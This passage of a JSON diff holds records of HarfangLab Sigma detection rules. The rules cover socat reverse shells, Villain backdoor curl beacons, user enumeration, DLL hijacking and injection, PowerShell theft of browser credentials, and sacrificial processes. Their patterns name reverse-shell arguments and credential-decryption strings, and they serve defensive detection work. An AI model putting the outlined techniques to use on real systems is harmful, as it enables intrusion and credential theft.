+  "name": "t1059_004_reverse_shell_socat_linux.yml",
+  "content": "title: Reverse Shell Executed via Socat\nid: c29f3873-fe52-4a98-9051-07faf06bd8b7\ndescription: |\n    Detects different suspicious usages of Socat that are related to reverse shells.\n    A reverse shell is a shell session that is initiated from the victim's machine towards the attacker's.\n    Attackers often use reverse shells to bypass firewall restrictions.\n    It is recommended to investigate remote network connections made by socat, as well as the command-line and the execution context to determine if this action was legitimate.\nreferences:\n    - https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux\n    - https://gtfobins.github.io/gtfobins/socat/\n    - https://attack.mitre.org/techniques/T1059/004/\ndate: 2022/07/01\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.004\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Socat\n    - classification.Linux.Behavior.RemoteShell\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_protocol:\n        CommandLine|contains:\n            - 'TCP:'\n            - 'TCP4:'\n            - 'TCP6:'\n            - 'TCP-CONNECT:'\n            - 'TCP4-CONNECT:'\n            - 'TCP6-CONNECT:'\n            - 'UDP:'\n            - 'UDP4:'\n            - 'UDP6:'\n            - 'UDP-CONNECT:'\n            - 'UDP4-CONNECT:'\n            - 'UDP6-CONNECT:'\n    selection_command:\n        CommandLine|contains|all:\n            - 'EXEC:'\n            - 'pty'\n            - 'stderr'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c29f3873-fe52-4a98-9051-07faf06bd8b7",
+  "rule_name": "Reverse Shell Executed via Socat",
+  "rule_description": "Detects different suspicious usages of Socat that are related to reverse shells.\nA reverse shell is a shell session that is initiated from the victim's machine towards the attacker's.\nAttackers often use reverse shells to bypass firewall restrictions.\nIt is recommended to investigate remote network connections made by socat, as well as the command-line and the execution context to determine if this action was legitimate.\n",
+  "rule_creation_date": "2022-07-01",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c29f3873-fe52-4a98-9051-07fafddf1237",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089376Z",
+  "creation_date": "2026-03-23T11:45:34.089379Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089384Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux",
+    "https://github.com/t3l3machus/Villain",
+    "https://attack.mitre.org/techniques/T1059/004/"
+  ],
+  "name": "t1059_004_backdoor_villain.yml",
+  "content": "title: Suspicious Curl Execution Related to Villain Backdoor\nid: c29f3873-fe52-4a98-9051-07fafddf1237\ndescription: |\n    Detects a suspicious curl execution that may be related to the Villain framework's backdoor.\n    This backdoor allows users to instantiate reverse shells on the victim's computer and communcate with other \"sibling machines\" (machines infected by Villain) in the network.\n    Attackers often use reverse shells to bypass firewall restrictions.\n    It is recommended to investigate this curl command and to block connections to the target IP in the command-line. If the IP is local to your network you may correlate it with other alerts to determine compromised endpoints in your network.\nreferences:\n    - https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux\n    - https://github.com/t3l3machus/Villain\n    - https://attack.mitre.org/techniques/T1059/004/\ndate: 2022/12/06\nmodified: 2025/02/13\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.004\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Framework.Villain\n    - classification.Linux.Behavior.CommandAndControl\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/curl'\n        CommandLine: 'curl -s http://*.*.*.*:*/????????/*/* -H Authorization: ????????-????????-???????? -o /dev/null'\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c29f3873-fe52-4a98-9051-07fafddf1237",
+  "rule_name": "Suspicious Curl Execution Related to Villain Backdoor",
+  "rule_description": "Detects a suspicious curl execution that may be related to the Villain framework's backdoor.\nThis backdoor allows users to instantiate reverse shells on the victim's computer and communcate with other \"sibling machines\" (machines infected by Villain) in the network.\nAttackers often use reverse shells to bypass firewall restrictions.\nIt is recommended to investigate this curl command and to block connections to the target IP in the command-line. If the IP is local to your network you may correlate it with other alerts to determine compromised endpoints in your network.\n",
+  "rule_creation_date": "2022-12-06",
+  "rule_modified_date": "2025-02-13",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c2a9ecc2-ad4c-41d3-8eed-baa411f1c978",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621375Z",
+  "creation_date": "2026-03-23T11:45:34.621377Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621381Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1087/001/"
+  ],
+  "name": "t1087_001_net_user_local.yml",
+  "content": "title: Local User List Discovered\nid: c2a9ecc2-ad4c-41d3-8eed-baa411f1c978\ndescription: |\n    Detects the execution of the net command to discover users.\n    This command is often used attackers during the discovery phase to gather the list of local users.\n    It is recommended to check the process' parent for other suspicious actions.\nreferences:\n    - https://attack.mitre.org/techniques/T1087/001/\ndate: 2021/04/28\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\net1.exe'\n        # Renamed binaries\n        - OriginalFileName: 'net1.exe'\n\n    selection_cmd:\n        CommandLine|contains: ' user'\n\n    # This is handled by another rule\n    filter_cmd:\n        CommandLine|contains:\n            - '/domain'\n            - '\\domain'\n            - '/add'\n            - '\\add'\n            - '/delete'\n            - '/del'\n            - '\\delete'\n            - '/ACTIVE'\n            - '\\ACTIVE'\n\n    exclusion_programfiles:\n        GrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '?:\\Program Files\\NSClient++\\nscp.exe'\n            - '?:\\Program Files (x86)\\\\*\\winpty-agent.exe'\n            - '?:\\Program Files (x86)\\CyberCNSAgent\\cybercnsagent.exe'\n            - '?:\\Windows\\AdminArsenal\\PDQDeployRunner\\service-?\\PDQDeployRunner-?.exe'\n            - '?:\\Program Files\\BMC Software\\BladeLogic\\RSC\\RSCD.exe'\n            - '?:\\Program Files (x86)\\Ivanti\\Workspace Control\\pfwsmgr.exe'\n            - '?:\\Program Files\\Siemens\\syngo\\bin\\syngo.Common.Starter.exe'\n            - '?:\\Program Files\\Quest\\KACE\\KDeploy.exe'\n            - '?:\\Program Files (x86)\\wapt\\wapt-get.exe'\n            - '?:\\Program Files\\pandora_agent\\util\\pandora_hardening.exe'\n\n    exclusion_ivanti:\n        # LANDESK Shavlik Protect Agent\n        CommandLine: '?:\\windows\\system32\\net1 user administrator'\n        GrandparentCommandLine: '?:\\windows\\system32\\cmd.exe /c net user administrator | findstr /C:Account active 2>>?:\\STscript\\Trace.txt'\n\n    exclusion_kiosk:\n        CommandLine: '?:\\windows\\system32\\net1 user kiosk 1364146620'\n        GrandparentImage: '?:\\Windows\\System32\\LogonUI.exe'\n\n    exclusion_connectwise:\n        ParentImage: '?:\\Windows\\LTSvc\\LTSVC.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Connectwise, LLC'\n\n    exclusion_archimed:\n        GrandparentCommandLine: '?:\\Windows\\Microsoft.NET\\Framework\\v*\\installutil.exe /i ArchimedUpdater.exe'\n\n    exclusion_schedule:\n        ProcessParentGrandparentCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c2a9ecc2-ad4c-41d3-8eed-baa411f1c978",
+  "rule_name": "Local User List Discovered",
+  "rule_description": "Detects the execution of the net command to discover users.\nThis command is often used attackers during the discovery phase to gather the list of local users.\nIt is recommended to check the process' parent for other suspicious actions.\n",
+  "rule_creation_date": "2021-04-28",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1087.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c2bb32cf-f1c3-400b-8a28-fd5910538098",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602791Z",
+  "creation_date": "2026-03-23T11:45:34.602794Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602802Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wermgr.yml",
+  "content": "title: DLL Hijacking via wermgr.exe\nid: c2bb32cf-f1c3-400b-8a28-fd5910538098\ndescription: |\n    Detects potential Windows DLL Hijacking via wermgr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wermgr.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\wer.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c2bb32cf-f1c3-400b-8a28-fd5910538098",
+  "rule_name": "DLL Hijacking via wermgr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wermgr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c2ebbac9-31dc-4e9c-abb3-40df63d524a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086076Z",
+  "creation_date": "2026-03-23T11:45:34.086078Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086082Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/follow-the-smoke-china-nexus-threat-actors-hammer-at-the-doors-of-top-tier-targets/",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_dll_injection_via_remote_debugging.yml",
+  "content": "title: Possible DLL Injected via Remote Debugging\nid: c2ebbac9-31dc-4e9c-abb3-40df63d524a2\ndescription: |\n    Detects the suspicious loading of a DLL in a process with a stacktrace indicating debugging activity.\n    Attackers may try to inject malicious code into a remote process to evade process based defenses.\n    It is recommended to analyze the behavior of both the parent and child processes to look for malicious actions or content.\nreferences:\n    - https://www.sentinelone.com/labs/follow-the-smoke-china-nexus-threat-actors-hammer-at-the-doors-of-top-tier-targets/\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2025/08/25\nmodified: 2025/08/28\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.MemoryExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        StackTrace|startswith: '?:\\Windows\\System32\\ntdll.dll!DbgUiRemoteBreakin'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c2ebbac9-31dc-4e9c-abb3-40df63d524a2",
+  "rule_name": "Possible DLL Injected via Remote Debugging",
+  "rule_description": "Detects the suspicious loading of a DLL in a process with a stacktrace indicating debugging activity.\nAttackers may try to inject malicious code into a remote process to evade process based defenses.\nIt is recommended to analyze the behavior of both the parent and child processes to look for malicious actions or content.\n",
+  "rule_creation_date": "2025-08-25",
+  "rule_modified_date": "2025-08-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c31922b9-cce9-40eb-84c9-1670f46cdbe5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611503Z",
+  "creation_date": "2026-03-23T11:45:34.611506Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611514Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/cyberscribers-exploring-cybersecurity/apt28-from-initial-damage-to-domain-controller-threats-in-an-hour-cert-ua-8399-1944dd6edcdf",
+    "https://www.magnetforensics.com/blog/infostealer-malware-what-is-it-and-how-to-investigate/",
+    "https://e.cyberint.com/hubfs/Cyberint%20Info%20Stealers%20Overview.pdf",
+    "https://attack.mitre.org/techniques/T1005/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1005_pwsh_browser_data_accessed.yml",
+  "content": "title: Suspicious Browser Data Read via PowerShell\nid: c31922b9-cce9-40eb-84c9-1670f46cdbe5\ndescription: |\n    Detects a suspicious PowerShell script with the capacity to read and decrypt browser data files.\n    This may be an indicator of a stealer opening the User Data folder of a given browser to exfiltrate credentials or other artifacts.\n    It is recommended to investigate the context of this action to determine its legitimacy.\n    If you assume this to be a breach, it is recommended to perform an investigation to determine what information has been exfiltrated and change the credentials of the affected users.\n    Further information about different stealers and scripts is present in the references.\nreferences:\n    - https://medium.com/cyberscribers-exploring-cybersecurity/apt28-from-initial-damage-to-domain-controller-threats-in-an-hour-cert-ua-8399-1944dd6edcdf\n    - https://www.magnetforensics.com/blog/infostealer-malware-what-is-it-and-how-to-investigate/\n    - https://e.cyberint.com/hubfs/Cyberint%20Info%20Stealers%20Overview.pdf\n    - https://attack.mitre.org/techniques/T1005/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2024/01/09\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1005\n    - attack.t1185\n    - attack.discovery\n    - attack.t1217\n    - attack.privilege_escalation\n    - attack.t1555.003\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Stealer.Generic\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_chromium:\n        PowershellCommand|contains|all:\n            - 'os_crypt.encrypted_key' # Encrypted key in Local State .json\n            - 'AppData\\Local\\\\*\\User Data' # Login Data location\n\n    selection_firefox:\n        PowershellCommand|contains|all:\n            - '\\Profiles' # key3.db|key4.db location for use with NSS\n            - 'encryptedPassword' # logins.json field\n            - 'PK11SDR_Decrypt' # nss3.dll decryption function\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c31922b9-cce9-40eb-84c9-1670f46cdbe5",
+  "rule_name": "Suspicious Browser Data Read via PowerShell",
+  "rule_description": "Detects a suspicious PowerShell script with the capacity to read and decrypt browser data files.\nThis may be an indicator of a stealer opening the User Data folder of a given browser to exfiltrate credentials or other artifacts.\nIt is recommended to investigate the context of this action to determine its legitimacy.\nIf you assume this to be a breach, it is recommended to perform an investigation to determine what information has been exfiltrated and change the credentials of the affected users.\nFurther information about different stealers and scripts is present in the references.\n",
+  "rule_creation_date": "2024-01-09",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.discovery",
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1005",
+    "attack.t1059.001",
+    "attack.t1185",
+    "attack.t1217",
+    "attack.t1555.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c36093ec-d58a-4550-a890-21bcfcf9011f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603062Z",
+  "creation_date": "2026-03-23T11:45:34.603066Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603073Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://ss64.com/nt/net-config.html",
+    "https://attack.mitre.org/techniques/T1016/"
+  ],
+  "name": "t1016_net_config_workstation.yml",
+  "content": "title: Workstation Service Configuration Enumerated via net.exe\nid: c36093ec-d58a-4550-a890-21bcfcf9011f\ndescription: |\n    Detects the execution of net command to display various information about the host.\n    This command is especially used to display information about the local workstation such as current user or computer name.\n    Attackers can use this program to perform discovery.\n    It is recommended to investigate the parent process for other suspicious behaviors.\nreferences:\n    - https://ss64.com/nt/net-config.html\n    - https://attack.mitre.org/techniques/T1016/\ndate: 2024/02/22\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1016\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'net1.exe'\n        CommandLine|contains: ' config work'\n\n    exclusion_swift:\n        GrandparentImage: '?:\\Program Files\\SWIFT\\Swift Token Client\\checkhost\\scripts\\perl.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c36093ec-d58a-4550-a890-21bcfcf9011f",
+  "rule_name": "Workstation Service Configuration Enumerated via net.exe",
+  "rule_description": "Detects the execution of net command to display various information about the host.\nThis command is especially used to display information about the local workstation such as current user or computer name.\nAttackers can use this program to perform discovery.\nIt is recommended to investigate the parent process for other suspicious behaviors.\n",
+  "rule_creation_date": "2024-02-22",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1016"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c3fe1e99-e4f4-4e8e-b7c7-b3003eee67e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624934Z",
+  "creation_date": "2026-03-23T11:45:34.624936Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624940Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cybereason.com/blog/behind-closed-doors-the-rise-of-hidden-malicious-remote-access",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_cvtres.yml",
+  "content": "title: Cvtres.exe Sacrificial Process Spawned\nid: c3fe1e99-e4f4-4e8e-b7c7-b3003eee67e7\ndescription: |\n    Detects the suspicious execution of the legitimate cvtres.exe Windows binary, spawned without arguments. This can mean that the binary is being used as sacrificial process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    It is recommended to investigate the parent process performing this action and the destination IP address of the cvtres.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://www.cybereason.com/blog/behind-closed-doors-the-rise-of-hidden-malicious-remote-access\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2025/11/12\nmodified: 2025/12/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SacrificialProcess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\cvtres.exe'\n\n    filter_cmd:\n        CommandLine|contains: ' '\n\n    filter_winsxs:\n        Image:\n            - '?:\\Windows\\WinSxS\\x86_*-cvtres_*\\cvtres.exe'\n            - '?:\\Windows\\WinSxS\\amd64_*-cvtres_*\\cvtres.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c3fe1e99-e4f4-4e8e-b7c7-b3003eee67e7",
+  "rule_name": "Cvtres.exe Sacrificial Process Spawned",
